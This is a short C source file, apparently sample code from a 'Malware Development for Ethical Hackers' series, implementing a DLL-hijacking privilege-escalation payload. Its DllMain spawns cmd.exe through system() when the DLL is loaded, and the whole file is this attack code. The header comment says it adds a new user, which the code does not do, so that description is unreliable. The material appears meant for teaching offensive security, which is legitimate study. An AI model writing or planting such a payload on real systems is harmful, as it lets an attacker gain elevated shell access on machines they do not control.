/*
 * Malware Development for Ethical Hackers
 * hack.c - add new user, DLL hijacking privesc. C++ implementation
 * author: @cocomelonc
*/

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
  if (dwReason == DLL_PROCESS_ATTACH) {
    system("cmd.exe");
    ExitProcess(0);
  }
  return TRUE;
}